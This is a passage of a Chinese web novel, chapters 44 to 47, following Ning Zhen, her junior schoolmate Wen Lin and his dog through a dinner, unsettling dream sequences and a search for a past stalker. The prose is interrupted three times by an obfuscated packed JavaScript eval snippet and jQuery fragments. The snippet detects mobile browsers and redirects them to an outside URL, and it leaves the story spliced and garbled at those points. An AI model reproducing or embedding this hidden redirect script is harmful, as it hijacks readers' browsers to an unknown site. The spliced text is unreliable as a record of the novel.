沐沐身为一只无辜的局外狗,被主人低身训诫,不能再私自开门。 而她在客厅独自瞳孔地震,被心口的热源连累。 现在她有个新问题要解决,譬如,大概是,这种罕见的反应,不会叫做心动吧。 44. 多利用我一点 餐桌上,鲜辣混着酱油的咸香。他做了秋葵和娃娃菜,炖锅里是胡萝卜、土豆和牛排,外加一道常规的可乐鸡翅。 离开福缘寺后她图省事,一直用素食应付,如今耳边响起小唯的“女孩要多吃肉蛋奶”。 温霖坐在对面,换了身居家套装,有点眼熟。 “对了,喝点什么?”他问。 位置和房车里那次晚餐一样,既视感上涌,宁蓁歪了歪头,心血来潮。 “如果有威士忌的话……” 他纤长的睫毛扫了几下:“酒精禁止。” “嗯?为什么。” “不为什么。” 她对酒量没有半分自觉,喝一丁点就醉,醒了之后和平常无异,留他一个人心里打鼓,小心翼翼地猜她是不是真的通通忘光了。 宁蓁发现他的耳朵又隐隐透出红色。 说起来,睡在房车里那晚朦朦胧胧的,除了冒然摸过他的头发,似乎还说了些出格的话,像是他“很漂亮”之类。 场景变幻——淅淅沥沥的雨夜,温霖眼底也落下雨滴。 后来她竟然还穿了他的衣服,或许就是眼前那件。 “……那我要菠萝气泡水。”她不动声色地回应。 他去拿冰箱里的饮料,沐沐缩在自己的地盘,专心进食。周围变得空空荡荡,宁蓁没动筷子,思绪再一次飞走。 寮房里上铺的女生代号“狐狸”,天生具有亲和力,勇敢地date了三个人。 那她会同时对三个人动心吗? 我们遇到了一样的症状……? 面对莫昭的时候心脏也忽上忽下,尤其那次,他们在充斥往事的餐厅吃了牛排和芒果慕斯。 她分不清那种心悸和现在有什么区别。 嘭! 温霖用酒精湿巾擦拭过易拉罐,顺手打开,活泼的二氧化碳一下冲出来。 筷子五颜六色,他用墨蓝,她手边放了一双红的,剩下用作公筷。碗侧有小精灵图案,她低头看见他经常用的呆小鸟。 碗筷是随意分的么?没有他以外第二个人专用的? 宁蓁忘不掉他网上的十几万粉丝,干脆破罐破摔: “你的女朋友呢。” 他正把饮料举到唇边,差点一口呛进气管,新鲜的菠萝气息溢出来,直往下滴。 她抽出纸巾递去。 “我没有,师姐。”他把自己擦干净,径直望进她漠然的眼睛。 “是吗……” 她没办法再问下去,一方面担心暴露自己窃听了他和莫昭的谈话,另一方面害怕他拥有的不是女友,而是介于亲密关系和朋友之间的那种一对多的渔网状结构。 温霖默默叹气。 他理解师姐对所有人无差别设防,但总不能直接说,我的初恋是你,我还在车里播了《firstlove》给你暗示。想象中,告白应该在更正式的场合,总之不是此时此刻。 “我还没……恋爱过。” 他垂眸,话底下有几分埋怨的意味,却立刻补充道:“类似的也没有。” 毕竟他经历过最暧昧的事发生在昨天,还有春季雨夜的房车里。 宁蓁相信人终究会变。 写信的是他,一起流浪的是他,可青春期日新月异,也许他早已变成另一个人。 但温霖偶尔回到年少的样子,就像刚才。 她消化着那几句话,突然想用饮料和他碰杯。叮一声,易拉罐相撞,酥松的气泡摇晃起来,沙沙作响。 * 饭后,她到厨房帮忙收拾,主人探出半个身子,说她陪沐沐玩就好。 宁蓁低头与小狗对视。沐沐能听懂人的语言,至少懂一部分,她决定不再问它偷吃的事。客厅里谁也没说话,它动了动尖尖立耳,掉转身子跑去按宠物按钮,一道略显机械的女声拖着长音。 “Lov、Loveyou——” 她窝在沙发观察小狗的一举一动,没过几分钟,茶几上多了盘水果。 “请。” 温霖笑着,回了厨房给沐沐准备消磨精力的零食。 芒果和蜜瓜被削成容易入口的小块,旁边放着叉子。宁蓁又一次感慨,他竟然真的那么年轻。 以前在杂志社实习,同事也是刚毕业的男大学生。午餐时,那人站在微波炉前,瞪着清澈的小眼睛问她,“这个怎么开始”。 人与人在某些方面有天壤之别。她继续想,他比自己小三岁,他们的年级却是初三和高二,可能她上学晚,生日在九月后,而他恰恰相反。 “你学的哪种舞蹈?” 成熟的果香味四处飘散。等他坐下,宁蓁已经吃掉了三分之一。 温霖唤醒了电视:“古典。” 是她小时候短暂学过的舞种。 古典舞者的肢体大多匀称修长,没有哪块肌肉过于虬结,破坏自然的平衡。 “但你的身高……”她有点晕乎乎地问。目测温霖至少有185,过高的身形在轻盈飘逸的风格里不占优势。 电视荧幕上,一档舞蹈综艺节目作为招牌挂在开屏页,他用遥控器按了返回。 “是啊,上大学后每年长两厘米,变成这样,”温霖笑了笑,“所以我不跳舞了。” 她心里拧了一下。 放弃所爱并不简单。他从初中就开始跳舞,甚至更早。 “开玩笑的,其实因为恐慌症在台上发作了,差点完不成毕业演出。”他看着电视,淡然道,“后来找到一份清净的工作,还有了沐沐,因祸得福吧。” 他眼里只剩下平静,也许黑暗的日子真的过去了。 宁蓁叉起一块芒果,酸甜气味激起怦然的心跳。 他终于翻到喜欢的电影,《血观音》。 她也喜欢,部分台词已经烂熟于心,但现在背不出来。不知道是不是胃里填满的缘故,眼皮渐渐沉重,想缩在被子里取暖。 “好困。” 但是心跳又好快。意识飘忽不定,她背部着陆,靠紧沙发的软垫。 “怎么了?” “芒果,我不确定。” 目前为止蜜瓜纹丝未动。温霖扫了一眼,神色冷下来,肉眼可见的紧张。 “我的错,忘记问你过不过敏……去医院吧。” “不用,只是想睡一会儿。” 宁蓁慢慢闭眼,怀疑自己是和热带水果相克的体质。【注1】 “真的没事?” “嗯,上次也这样,我还喝了咖啡……” 对了,那天。 她恍然。周三是樱桃,周四是巧克力,周五是芒果,餐厅空调阴冷,她喝掉过量的咖啡,吃了芒果甜品。两种食物共同作用,让人心悸,虚浮着走入电梯。 原来真相全都摆在明面上。 “去床上睡吗。” 幸好没引发其他症状,否则他不知道要内疚几年。她懒得动,问这里可不可以。 “当然。” 温霖抱来薄被。谁能想到他的师姐既醉酒又醉芒果,但即便困倦,她显露在外的那一面仍裹着坚硬的冰,无法轻易动摇。 宁蓁缩进沙发,想起他约自己来是有话要说。 现在坦白更容易,可他偏要坚持另一种选择。 “等你睡醒。” * 醒来时屋子暗了,泛了黄,像夹在相册里的老照片。 宁蓁从沙发起身,一阵茫然。 “姐姐!” 背后传来稚嫩的嗓音,她回头,看见一个男孩趴在茶几上画画,模样不过五六岁。 是小宇,姨妈的儿子。 她往窗外看,日光旧了,从天上泼下来,涂抹着树的苍翠。午后,蝉鸣不止。 暑假,她和小宇没有上学。一切都很熟悉,原木色的家,最高六层的楼房,墙上半面绿漆,挂着舍不得翻的日历,门框浅浅刻着两道身高。 小宇递来一张糖纸,说:“姥姥正要做饭呢!下午我们一起去游泳吧。” 久违的称呼听得她鼻尖一酸。 “姥姥……” 宁蓁喃喃道,拉开厨房的门。灶台前站着两个身影,烫了蓬松卷发的姥姥,以及一名长直发的陌生女人。 她什么都看不清,却开口提出要求。 “妈妈,我不想吃饺子。” 陌生女人问:“那你想吃什么?” “糖。” 她不知怎么了,必须要吃上水果糖,于是跑到卧室背着小宇翻找罐子里的零食,连着亮晶晶的糖纸一起咯吱咯吱嚼碎。 家门砰的一声巨响,过一会儿,小宇哭着来找她。 “呜呜,都怪你,姥姥和姨姨走了!不回来了!” …… 暑热消退 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071771|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这次彻底清醒了。 周围安安静静的,没有人,宁蓁掀开双眼,眼角挂着湿润的痕迹。 时间是春天,她待在温霖的家,扭头看见茶几上一杯水,底下压着便签纸,他写的。“遛狗,很快回来,记得喝水”。窗户附近摆了书柜和一套桌椅,她拿起杯子走过去,凝望室外柔润的绿地。 温霖开门时,师姐正披着流淌的光,坐在窗边出神。 回家后整理沐沐的东西,洗手,换衣服。一系列动作都没有吸引她,他从侧面靠近,在她掌心放了一块蔓越莓曲奇。 “在想什么?” “嗯?没什么,做了梦而已。” 宁蓁握住曲奇的塑料包装。沐沐听见零食的声音,蹦蹦跳跳跑来,在她腿边乖乖坐好。 她笑了。温霖后撤半步,左膝跪在地上,用相同的高度与它沟通:“这不是给你的。” 沐沐前爪跺一下地板,熟练撒娇。 “不行。”他斩钉截铁。 最终沐沐妥协了,钻进主人怀里。她暂时把曲奇放在桌角,说很少见边牧担任抚慰犬的工作。 狗脑袋搭在肩上,他抚摸着小狗后背柔顺的毛:“有点天赋,但不多,当初参加抚慰犬实验组,被农业大学淘汰了。” 宁蓁恍惚几秒。 一只被淘汰掉的小狗,和一个放弃舞台的舞蹈演员,听起来发生过许多故事。 沐沐没呆太久,临走时甩甩尾巴,扫过他的手臂和她的腿。温霖怀里空了,却维持着低身的姿势。 寂静在两人之间蔓延。 “师姐,我……” 他抬起头,目光微微滉漾。 宁蓁面上冷然,分心犹豫着该不该离开座椅。她不擅长利用俯瞰的视角,可他愿意从低处迎上来。 “初中的时候,我每天都想遇见你。” 嗓音低沉艰涩,话题也蓦然转弯。她眨了眨眼,感觉这是他今天邀约的目的。 “但运气不够稳定……” 他停住了。 师姐几乎立刻猜出他不敢触碰的字眼: “你跟踪我。” “只在学校里,我发誓,而且不到一个学期……” 温霖急着解释,说到一半,睫毛蔫蔫垂下去,眼里隐约蕴着水光。 “对不起。” 终有一天要为过去的阴暗行径忏悔。 他不想再继续欺瞒,希望在她清醒时得到判决。 宁蓁低头注视着。短发墨黑,遮了他一半眼睛,有时像溶溶的月晕,有时藏着一丝锋利的寒意。 你是月亮的影子。 她竭力从模糊的学生时代剜出一小块。 “我觉得不是你……” 温霖被赦免一般抬眸,眉间却紧了紧。 “确实有段时间背后跟着一个人,黏糊糊的,不是你。” 高中时跟在背后的男生不少,她早厌倦了,拒绝在运动会上举牌。后来一部分人随着时间学会收敛,但有的变本加厉,让她恶心。 宁蓁确定他们不一样。 他霎时想到与之相关的线索——“那人应该很高大,不像学生”。 “你的朋友也提起过。” 师姐显露出疑惑:“谁?” “名字是杭悦。”他说。 “悦悦?”她下意识这么称呼,“你怎么会认识她……” 温霖坦白了过程。宁蓁盯住他的唇,眼中蒙上层薄雾,拨开是茫茫的凄迷。 是么,那你已经知道我为什么转学了。 “嗯。”他低声应道。 风越过了窗,抚上耳际。半晌,她意识到自己又没拦住心里的想法。 听得到呼吸声。 沐沐呆在角落,立起身子远远望她,试图理解空气里飘散的静默。 “悦悦的联系方式,”话音不如想象中颤抖,“给我吧。” 他说声好。 宁蓁侧坐在木椅上,被阳光环绕。 “……谢谢。” 她眼帘低落,客气的态度,无形中将人推远。 温霖伸出右手,手指一弯,勾上椅背镂空处,指节稍稍泛白,与雕花纠缠着稳住自己。 想拥抱她,但已经没有理由。 “师姐,你可以再……” 他按捺住胸口发烫的虔诚。 “多利用我一点。” 45. 跳跃 “多利用我一点”。 时隔九年,第二句最接近告白的话语。 结果是一滴水沉入海底。 宁蓁独自默然,没有回应。很多期待都得不到回应。但温霖不会再被刺痛了,他学会巡回,无论师姐推得多远,他能自己跑回来。 窗外,云翳缥缈,阳光渐渐消退。 她在思考。 没了光,阴影半挂半落,在他额头和耳廓。他右手伸过来曳住椅背,似乎要半跪着环抱她。 然后,她想到昨天。 衣侧口袋里躺着两只尖锐的东西。宁蓁拿出其中一个,边角磨得更圆润,表面有岁月的刻痕。 她攥在手里,悬空,等温霖摊开掌心。 “这是……” “小唯在寺里捡到的鸟哨,”她顿了顿,胸口无声地嗡鸣,“不是我的,也许你能帮帮忙。” ——找到它属于谁。 鹭山里藏着眼睛,她短时间内不想再回去。所以,如他所说,多利用他一点。 温霖牢牢握住旧物件,抬眸迎上去,心里反而对师姐说了句谢谢。 “等我。” 时间飞快。日落的时候,才想起自己应该靠近他,听听耳边还有没有异样的响声。原本是这么打算的,后来心绪起伏,慢慢就忘了。 事与愿违。临走时,他接了个电话,宁蓁先一步到门口,沐沐跟在旁边,趁人不注意,叼起她一只鞋子,啪嗒啪嗒往屋里钻。 她想追,但包里频频震动,只好先撂下背包翻出手机。 屏幕上接连弹出莫昭的消息,他消停了几天又来叨扰。 「在哪儿?」 「在干什么?」 现在没空理会。鞋被叼到小窝旁边,她蹑手蹑脚去拿,提到玄关,扭头见小狗奋力挤进帆布包,把里面的衣服当成嗅闻箱,玩得不亦乐乎。 宁蓁站在原地,看着它和白色背包打架。 “沐沐!” 主人语气稍重,小狗动了动耳尖,终于慢悠悠钻出来。 “你真是……”他无奈,掸掉包上的狗毛。 “没关系,正是贪玩的年纪。” 沐沐被主人引导到门外,戴上胸背,过程倒十分配合,抬爪子,摇尾巴,一气呵成。 温霖俯身,说:“它好像不想让你走。” 那让沐沐和我回家吧。她话到嘴边,心跳却猛地漏拍。 于是怔了一秒,改口道:“我总不能一直待在你家。” 他微微点头,看似顺从了这个客观事实,举起绳子示意她牵紧。 宁蓁挽了两绕。温霖没有松开,手指顺着牵引绳下滑,好像被牵的是他。 “不能么?”感受到手上的力度,他又不甘心,对着沐沐毛茸茸的脑袋低声呢喃。 她一时分神,错过了那句话。但当她问起刚才说了什么,对方却闭口不提了。 眨眼,天幕已暗。 温霖开车送她回家,老旧的小区车位紧张,只能停在附近。他执意陪她进去,两个人并肩走着,路灯该修了,摇摇欲坠,化在砖石地上一片晕黄。 “对了,望远镜。” 他递来,轻便的款式。当初宁蓁内心踟蹰,没有立刻拿走,那时天空是熟透的番茄。 “我们,”嗓音从身侧传来,“还能一起观鸟吗?” 她顺口问一句:“你想什么时候。” 身边人思忖一会儿:“……明天。” 他给的答案总是不知餍足。 “明天啊。” 她轻笑着重复,恰好路过花坛,指了指泥土里的杜鹃。 “那是一位老太太种的。” 她们不熟,只是住在小区里常打照面,听别人聊天喊“孟老太太”,那回,她提起福缘寺在招义工,两人才第一次搭上话。 “开得真好。是春鹃吧,花期早该过了。” 温霖话里是感叹的意思,却带出几分迷濛的错觉。 从初春到深春,它们已经开了太久,还不凋谢。 视线落在橙红花瓣上。柔柔的,不见有风,空气静止了,仿佛时间也深深憋了一口气。 ——直到一道人形打破寂静。 手脚黏滞地拖着,铲子插进松软的土里,翻起纤细的根茎。 放在平时,孟老太太早就气势汹汹挥起铁锹了,可今天人不在,今天目击者只有她。 她替代老人追上去。 住手! …… 心脏被甩向一堵墙。身上裹着被子,宁蓁蓦然睁眼,看见夹在暖气片之间的毛绒玩具。 捞出枕头底下的手机,早上九点三十六分。 刚才在梦里。 诡异的是分不清梦从哪里开始。 她辗转,撵走睡意,起身拉开窗帘。天阴着,白日熬成长夜,得开灯才能捧住一点光亮。 邮箱里又一封退稿信。没关系,梦里有新灵感。她想到老人的岁数,如果姥姥还活着,如今和孟老太太一般年近耄耋。她开始写一个中年女人的故事,最后因为病痛而消逝,临走前,女人在小区花坛里种花,养了一大群鲜亮的杜鹃。杜鹃是她的孩子。 卧室回荡着敲打键盘的脆响。 写了三分之一,客厅的电视莫名开了,型号旧,网络时而卡顿,时隐时现的。 ——“海棠断枝……不、见血。” ——“鸟巢……倒扣,北风吹。” 宁蓁听一耳朵,知道在播《血观音》。可能几分钟前她飘过去打开的,选了熟悉的电影当作背景音。 思路一断就有些乱。她进卫生间洗了个澡,热气蒸腾,手机丢在洗衣机上,洗到一半,淅沥的水幕被振动声冲破。 好烦。 水珠顺着发尾滴滴答答,她干脆掀了浴帘,把手机调成静音。 「在哪儿」 「在干什么」 莫昭发来和之前一模一样的消息。宁蓁抹了一把屏幕,正准备拧开热水。 「今天见个面吧」 水滴落下,误触了屏幕,一行小字来来回回翻滚。 她倒扣手机,匆匆洗完澡。 ——“今天,一块钱去买。明天一百块,卖出去。” ——“这么迷人的游戏。” ——“谁不喜欢。” 客厅静得可怕,只有电影断断续续流出台词。 宁蓁一向受不了潮湿,尤其洗完头发,湿漉漉淌到后背的水。吹风机拨到最热档,呜咽着刮干长发,顺便左手滑开通讯录。 温霖给了她旧友的号码。 当初银喉长尾山雀被害完全是她的错。不关悦悦的事,对,如果自己坚持守住鸟哨的秘密,就没有任何人受伤。可恨的是后来她跑了,满怀屈辱,像个趔趄的逃兵。她不知道再如何面对她。 某一刻,风的哭声停了。 有新消息。 「我在楼下等你」 长发半湿,宁蓁放下过热的吹风机,任由屏幕跳出文字。 「下来」 她仔细看了看头像,确认是莫昭的背影。她一句也没回复,那人便像自言自语似的穷追不舍。 他在楼下? 宁蓁蹙眉,右眼眶狠狠抽动一下,忽然想不起来哪只眼该跳灾。 “对方正在输入”。 抬头正对着书桌上的日历,今年份撕了两个月,后面没了耐心,一直停在三月一日。 三月一日她还没听说过福缘寺。日子浑浑噩噩流走,一过就是三五天,中间隔着山,隔着水,回头眺望却白茫茫一片,什么都留不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071772|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下。 她歪着头想,去温霖家是哪天,会不会她根本没去过。 因为刚才……不是做梦了吗? 聊天界面风平浪静。相反,莫昭直接一通电话,振动的频率带着房间摇晃起来。 右手发麻,像细针一根根扎进去。宁蓁丢掉了手机,凑到窗边,往下看。 小区的楼房已经风烛残年。从四楼望,天阴得灰蒙蒙,捉不住人影。 很久以前住在更高的楼层,老房子没修电梯,有时午休结束,忘记带自行车钥匙,就朝着灰蓝的窗户放声高喊。 “姥姥!帮我把钥匙扔下来!” 她知道楼上听得见。钥匙套着超市的塑料袋,推开窗,卷着风掉进楼前一排车筐里。她挽起校服袖子跑过去捡,仰头,姥姥和她挥挥手。 “蓁蓁,慢慢骑!别着急!” 现在,楼下没有人。 窗沿又停了只珠颈斑鸠,咕咕咕叫着,明明近在咫尺,鸣声却像在山间田野,怎么够都够不到。 宁蓁回到床上,枕边多了一个沉甸甸的黑色小包。 手机又响了,她打字说自己不在家,然后解开粘扣,拿出里面的观鸟望远镜。 既然肉眼看不清,借助工具总可以。 轻轻转动镜筒的旋钮,景观逐渐放大。 视角犹如窥伺,掠过花坛、榆树和坑坑洼洼的地砖。天暗,除了杜鹃,撞不见一抹亮色,满是稠密的阴云。 莫昭的车藏到树后面,她认出来了,匍匐的蛇形,吐着信子。 恰逢电影播到中段,传出闽南话的讲古,伴着寥寥的拨弦,阴气森森。 ——“给人捆绑断手脚。” ——“到底是,为了什么……天大的冤仇!” 宁蓁眯起眼,发现车胎底下一滩鲜黄。 望远镜发抖,稳不住。呼吸急促起来,眼睁睁看着鲜黄的色块长出尾巴和耳尖。 那是猫。 橘色的猫,蜷成一团软肉。 上面……有血。 她瞠大眼睛,大脑轰的一声。 窗沿的斑鸠突然受惊,一阵扑棱棱地飞离。 好多血,鲜血,还在流淌,像残碎的羽毛。她想起不久前,炒货店外,她用鸟哨吓跑的也是只橘色野猫。 手机剧烈震颤。 「?」 一个问号。 「我看见你的灯亮着」 望远镜从手里滑落,挂绳拴着左心房,咚的一下坠地。 宁蓁愣了几秒,双手扯住窗帘死死拉上。 电视里打起响雷,讲剧情里的灭门惨案,咿咿呀呀唱着“这女孩已经昏头,无法言语”。她扑过去按了电源,拍掉灯光,大腿上莫名的淤青磕到桌角,想要嚎啕大哭的痛。 可她哭不出来。 因为,门动了。 不是叮咚叮咚的门铃声,而是门上的把手自己在转,试探着旋过一个锐角,缩回去。 “咔嚓咔嚓”。 不对。 她明明锁好门了。 她习惯频繁洗手,擦酒精湿巾,习惯衣服兜里放着鸟哨,一旦丢了就惊惶不安。这样一个拥有强迫行为的人,不可能不记得锁门。 但是为什么,门把手咔嚓咔嚓地转?为什么零零散散的锁器全都脱落,门框都快散架? 那扇门能替我挡住什么? 宁蓁跌跪在地上。 门开了。 闯进一个人,裹着潮湿的雨的气息。 她很模糊,不像那个人一样清晰锋利。她连执着的冷漠,连眉梢的一点苦涩都很模糊。 “你是……” 她眨眼,仰起脖颈,费力地望着那张面孔。 迢遥的深黑色,很陌生。 “谁?” 46. 暗喻 天气简直过分晴朗。云层削成丝絮,阳光顺着树叶的缝隙漏下,有种夏天的错觉。 但真正的夏天迟到了。晨间,城市苏醒,空气泛起霜露的气息。他隔了条街,远远望向庄重的校园大门。 上次是开放日,这次是二百六十周年校庆。 温霖提前问过,保安大叔挠了挠头,表示不能带狗进来,抚慰犬应该也不行。他一瞬遗憾,却又庆幸。春天,学校的活动接二连三,聚作人海,给了他海底捞针的机会。 校园内,喷泉交织着水雾。体育馆的阶梯上架起了充气拱门,像高三那年缺席的成人礼。时候早,访客还不多,负责引导的学生们已经就位,手中挥着宣传单和校刊特辑。 “欢迎校友回家——!” 课桌拼长了,背后竖着活动立牌和时刻表,兼卖些校园纪念品。 「敲敲~」 「260校庆,你会来吧?到了记得找我,我在最显眼的地方,校长的照片前面!」 手机里有未读的红点。他只是路过,竟撞见一个蓝校服女孩自顾自跑来。 “久等啦!” 红角鸮般的杏目一闪一闪。 上回,杭悦的手机号捆绑着女高中生的微信。最终温霖还是发了好友申请,以郑重的语气表达谢意,祝她“学业进步,考上理想的大学”。 结果仍然惹祸上身。 他反应过来那人是谁,提前拉开距离。 “我没有等。” “那就是缘分喽。”方善善的高马尾在脑后晃悠,“我前几天发了照片,怎么不回,你没看吗?” 不仅没看,还给她开了消息免打扰。 “……” “我有晚会入场券,数量有限,一般人可进不去。你保存我穿小礼服的照片,我就给你。” 高中生胆子大,没个分寸。温霖不想浪费时间,正快步走向操场,但突然撞上她那句话,不得不停下。 林荫摇曳,他驻足,解锁了手机。方善善脸上藏不住期待,贴过去,看着他修长的手指搭在屏幕上,轻巧地往左一滑。 删除,并清空记录。 甚至当着她的面,甚至他连点都没点开,甚至对话框末尾还带着一颗被划掉的小铃铛。 “不是,”她满眼惊愕,“你干嘛啊?” 温霖不好为人师,也许天生叛逆,从小就反感别人非要教给他什么。可他不走运,终于轮到这种事,必须戴上所谓长辈的面具。 “听着,”他转身面对那女孩,认真盯住,“你未成年,不能随意给陌生人、陌生异性发自己的照片。” 方善善瘪着嘴捋了捋头发:“我哪里随意了?精挑细选的呢……” 别装傻。话到嘴边又觉得重了,改成在明面上叹了气,拿出一副冷淡模样。 “算了,”他说,“我去打听一下你家长的联络方式。” “别!”女高中生立刻改口,“删就删了,不用那么麻烦!” 大不了以后再发嘛——她倒是不说,全写在明晃晃的大眼睛里。 温霖看出她的心思。他一路走,女孩一路跟着,三步并作两步,完全把体育馆的工作抛在脑后。 “诶,我也算帮过你,礼尚往来,是不是该告诉我你的名字?” 如今姓名牵涉太多隐私,他厌恶别人冒然闯进警戒线,所以不喜欢自报家门。但方善善说得没错,她帮过他,而且不算小忙,只有口头的感谢似乎显得欠缺诚意。 温霖迈过操场侧门:“请你吃甜品吧,‘Peterpan’的提拉米苏,我下午买来,你和同学分。” 他略过高中生的要求,却也适当让步。 “我知道那家餐厅,在使馆区,好难排队的。提拉米苏是招牌,意式千层面也挺不错,还有玛格丽特……只甜品不够吃啊,不然你带我去好啦!” 天真无畏,得寸进尺。 他始终想保持体面,但这名骄纵的学生是个特例。 “行,那就今晚,我接了女朋友再一起带你去。” 那女孩愣了愣,叉起腰来,狐疑地问:“你,有女友?” “很稀奇么。” “不,”方善善摇摇头,“我和姐妹研究过,假如你有女朋友,应该用她照片当朋友圈封面,但是你只发过……” 只发过沐沐。 操场东面稀稀疏疏种着几棵杨树。温霖望过去,打断道:“成年人恋爱不需要昭告天下。” 他开始说违心话。 “意思是,你们都不发九宫格,不官宣?那你岂不是黑乎乎的铁板一块,不告诉别人有没有在空窗?那……” 方善善嘴里念念有词,想努力说服自己,过一会儿“哼”的一声得出结论:“反正我不信!除非你拿她的照片给我看。” 那倒是不难。 他在心中默默打了个招呼。抱歉师姐,因为我的相册里只有你。 游乐园照片若干,最后选了鹭山的林子里,她抬头凝望,与绿意相拥的那张。 手机翻给对方,高中生迅速眨着眼凑近,抬起手,毫不客气地摸到屏幕,用食指与中指拖曳放大。 晴天总是有风,吹得方善善的脸庞一阵红一阵白。 她退了两步,双手捂着嘴,一脚踩在柔绿的草坪上。 “怎么你、你们合起伙来耍我!” 温霖挑了眉:“你们?” 相同的事发生第二次,地点从教学楼侧门换成操场。这回女孩不哭也不恨了,双眼圆圆瞪大,粗着嗓子惊呼起来。 “这不是宁蓁姐姐吗?我没看错,你们俩……你和她拉帮结派!” 该意外的是他。想不到方善善居然认识师姐,那她没准听说过她的感情状况。 “这么巧,”温霖收起手机,面不改色转移了话题,“你们怎么认识的。” “做学期报告,我阿姨帮我找的非遗传承人。” 方善善惊呆了,不假思索地回答。她还琢磨着他们布的局——为了消她气焰,宁蓁姐姐费尽心思,命令他把她设成免打扰,攒着聊天记录当面删掉…… 值得吗?就因为让她冒充家长,因为自己假装承诺“绝对不再喜欢老师了”? “你、你……” “澄清一下,”温霖冒着被识破的风险,“我之前什么都不知道。” 情侣怎么可能连微信里的共同好友都没发现?但方善善大脑暂时短路,反应慢了半拍,她想,学校开放日那天,要不是她自己瞄到帅哥,主动跟过去,他们也不会搭上话…… 整件事就像网上见怪不怪的帖子——“救命,crush是我室友的异地男友”。 她聪明,立即醒悟,原来宁蓁姐姐不是故意跟她较劲儿,原来她只是克她。 想通了这一点,方善善登时变成一只愤怒的枭。 “给你!”她横着眉毛气势汹汹,从兜里掏出东西,“你和宁蓁姐姐一起看吧!” 两张红色纸片被拍到温霖怀里,是校庆晚会邀请函。 “好吧,谢了。”除此之外也没有别的可说。 方善善倒退起跑,不幸脚尖磕上塑胶跑道内的排水口,绊得膝盖一软。 “哇啊——!” 她一声尖叫,两条胳膊在半空翻腾。温霖花了半秒思忖该如何伸手,如何保持与未成年女生之间的界线,最后选择揪住深蓝色的校服袖子。 重心借外力稳了稳,有点狼狈。她不领情,抽回袖口,继续奔出五步再回头,整张脸都皱着,吐出满腔的愤懑: “——祝你们百年好合!” 喊完,朝他做个鬼脸,呼哧呼哧跑了。 风总算消停下来。 插曲比想象中长,终于能安然走近目的地。操场边缘,几株杨树余下树荫,斑驳地遮了一半跑道。 女高中生活泼过了头,让人耳边砰砰地响,像拧开派对礼炮,缤纷的彩片漫天飞舞。相比之下,草木不说话,敛着阳光闭合,一味沉默。 当年师姐在这棵树下吹响了鸟哨。温霖抬起头凝望树梢,冰凉的空气迎来送往,没有小鸟停留。视线下移,围网割开校外的景象。操场紧邻着人行道,行人多了,眼含怀旧的目光陆续绕向大门。 没办法,北城寸土寸金。如果机动车道流动起来,隔一条马路也勉强看得清。 他双手抱臂,侧身藏到树后,想起杭悦说过的话: “我感觉是个男人……应该很高大,不像学生。” 成年,男人,站在围网外面,迫切往学校里探视。 眼前路过一家三口,父母一人牵了小孩一只手,大概是校友,至少已经毕业了十五年,变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“竖起耳朵听每个人谈话,遇到有用的就上去问。” “就这样?” “就这样。” “嗯……真的有用吗。”她喃喃道。 牙齿冰得酸软,脑门也跟着发凉。春天,风冷飕飕的,赵安琪浑身打个寒颤,有点后悔提出要吃冰的。 北城又一次入夏失败。温霖默然三秒,笑了。 “不试试怎么知道。” 巧克力脆球嘎吱嘎吱化开,随着扑簌簌的树叶一起。 黑杨排成茂盛的墙,后面站了两个人,其中一个鬼鬼祟祟,伸长脖子,手心冒出蓝色的火苗。 ——“您好,校内禁止吸烟!” 学生把自制禁烟牌举过来,访客们只能悻悻赔笑。 还是可爱多好啊。赵安琪点点头,仰起脸:“那我也来帮忙!” “不麻烦了。”他客气道。 “我挺擅长的呢。以前老杨看《养生堂》,非要晒太阳,坐在公园里判卷,风一吹就全撒了,全靠我捡回来。” 他蓦地看向她。 “……哪个公园?” “就是北门公园呀,离得近嘛。那阵儿班上的物理卷子老有撕破的,他们以为老杨养猫了,其实是灌木丛扎的。”她侃侃而谈,又忽然想到他经常不在学校,“喔,可能那会儿你跳舞去了。” 他不知道这段故事,也许当时并不重要,但…… “我想找的东西就落在那里,”温霖隐藏了事件的原委,“那个公园。” 赵安琪眉头一皱,端起食指摩挲着下巴。 “这么说的话,的确,我好像顺便捡到过奇奇怪怪的遗失物。” “奇怪?” “唔,现在早就忘了是什么,只记得捡起来那一瞬间的感觉……很奇怪。” 她努力思考着,无果。 树海苍翠,滴下斑斓的光点。两个人躲在游泳馆与食堂的夹道,听见校园主路上逐渐熙攘的喧嚣。 ——“哎!好久不见!” ——“真的好久好久,十五年了吧。” 人们的声音在握手。 赵安琪突发奇想,问:“对了,后来你和学姐怎么样?” 学生时代,他的消息总是飞快在年级中蔓延。其实大家都听说过他喜欢高中部的学姐,但无人了解后来的故事。 风吹得冰淇淋慢慢融化。温霖目光一晃,嗓音沉下去。 “她……” 47. 因果 “师姐!” 楼道内回荡着叩门声。 脚下是水泥台阶,边缘磨得圆滑,灰黄的尘土扒着栏杆和旧电表。门铃坏了,他的指节磕向防盗门,一次比一次重。 咚咚咚—— 老房子是一潭幽深的死水,听不见回音。温霖深吸一口气,握住把手,咔嚓一声拧下去。 门开了,她忘了锁。 